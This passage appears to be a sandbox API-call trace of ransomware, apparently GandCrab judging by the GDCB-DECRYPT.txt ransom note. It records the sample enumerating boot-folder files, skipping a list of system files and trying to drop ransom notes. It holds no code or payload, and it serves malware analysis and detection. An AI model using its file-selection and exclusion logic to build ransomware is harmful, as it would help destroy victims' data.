param_1="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0135.311] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0135.311] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0135.311] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.311] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.311] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.312] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.312] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.312] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.312] lstrcmpW (lpString1="sl-SI", lpString2=".") returned 1 [0135.312] lstrcmpW (lpString1="sl-SI", lpString2="..") returned 1 [0135.312] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sl-SI" | out: lpString1="C:\\Boot\\sl-SI") returned="C:\\Boot\\sl-SI" [0135.312] lstrcatW (in: lpString1="C:\\Boot\\sl-SI", lpString2="\\" | out: lpString1="C:\\Boot\\sl-SI\\") returned="C:\\Boot\\sl-SI\\" [0135.312] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.312] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.312] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.312] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.312] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.312] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.312] lstrlenW (lpString="C:\\Boot\\sl-SI\\") returned 14 [0135.312] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="*" | out: lpString1="C:\\Boot\\sl-SI\\*") returned="C:\\Boot\\sl-SI\\*" [0135.312] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.313] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.313] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.313] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.313] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.313] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.313] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.313] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.313] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned="C:\\Boot\\sl-SI\\bootmgr.exe.mui" [0135.313] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0135.313] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.313] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.313] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.313] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.313] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt" [0135.313] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0135.313] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.313] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.313] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.313] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.313] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sl-SI\\\\GDCB-DECRYPT.txt") returned 31 [0135.313] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sl-si\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.314] GetLastError () returned 0x50 [0135.314] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.314] lstrlenW (lpString="C:\\Boot\\sl-SI\\") returned 14 [0135.314] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="*" | out: lpString1="C:\\Boot\\sl-SI\\*") returned="C:\\Boot\\sl-SI\\*" [0135.314] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7640 [0135.314] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.314] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.314] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.314] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.314] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.314] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.314] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.314] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned="C:\\Boot\\sl-SI\\bootmgr.exe.mui" [0135.314] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.314] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0135.314] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0135.314] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.314] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.314] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.315] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.315] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt" [0135.315] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.315] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0135.315] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0135.315] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0135.315] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.315] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.315] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.315] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.315] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.315] lstrcmpW (lpString1="sr-Latn-CS", lpString2=".") returned 1 [0135.315] lstrcmpW (lpString1="sr-Latn-CS", lpString2="..") returned 1 [0135.315] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-CS" | out: lpString1="C:\\Boot\\sr-Latn-CS") returned="C:\\Boot\\sr-Latn-CS" [0135.315] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS", lpString2="\\" | out: lpString1="C:\\Boot\\sr-Latn-CS\\") returned="C:\\Boot\\sr-Latn-CS\\" [0135.315] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.315] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.315] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.315] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.316] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.316] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.316] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\") returned 19 [0135.316] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-CS\\*") returned="C:\\Boot\\sr-Latn-CS\\*" [0135.316] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7600 [0135.317] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.317] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.317] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.317] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.317] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.317] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.317] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.317] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" [0135.317] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0135.317] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.317] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.317] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.317] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.317] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt" [0135.317] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0135.317] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.317] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.317] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.317] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.317] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" [0135.317] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0135.317] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.317] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.317] FindClose (in: hFindFile=0x2c7600 | out: hFindFile=0x2c7600) returned 1 [0135.318] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.318] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sr-Latn-CS\\\\GDCB-DECRYPT.txt") returned 36 [0135.318] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sr-latn-cs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.319] GetLastError () returned 0x50 [0135.319] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.320] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\") returned 19 [0135.320] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-CS\\*") returned="C:\\Boot\\sr-Latn-CS\\*" [0135.320] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.320] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.320] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.320] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.320] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.320] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.320] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.320] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.320] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" [0135.320] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.320] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0135.320] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0135.320] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.321] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.321] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.321] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.321] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt" [0135.321] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.321] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0135.321] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0135.321] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0135.321] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.321] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.321] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.321] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.321] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.321] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.321] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" [0135.321] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.322] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0135.322] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0135.322] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.322] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.322] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.322] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.322] lstrcmpW (lpString1="sr-Latn-RS", lpString2=".") returned 1 [0135.322] lstrcmpW (lpString1="sr-Latn-RS", lpString2="..") returned 1 [0135.322] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-RS" | out: lpString1="C:\\Boot\\sr-Latn-RS") returned="C:\\Boot\\sr-Latn-RS" [0135.322] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS", lpString2="\\" | out: lpString1="C:\\Boot\\sr-Latn-RS\\") returned="C:\\Boot\\sr-Latn-RS\\" [0135.322] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.322] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.322] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.323] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.323] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.323] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.323] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\") returned 19 [0135.323] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-RS\\*") returned="C:\\Boot\\sr-Latn-RS\\*" [0135.323] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.323] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.323] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.323] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.323] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.323] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.323] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.323] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.323] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" [0135.323] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0135.323] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.323] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.323] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.323] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.323] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt" [0135.324] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0135.324] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.324] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.324] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.324] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.324] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sr-Latn-RS\\\\GDCB-DECRYPT.txt") returned 36 [0135.324] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sr-latn-rs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.325] GetLastError () returned 0x50 [0135.325] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.325] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\") returned 19 [0135.325] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-RS\\*") returned="C:\\Boot\\sr-Latn-RS\\*" [0135.325] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7900 [0135.325] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.325] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.325] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.325] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.325] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.325] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.325] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.325] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" [0135.325] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.325] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0135.325] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0135.325] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.325] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.325] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.325] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.326] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt" [0135.326] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.326] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0135.326] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0135.326] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0135.326] lstrlenW 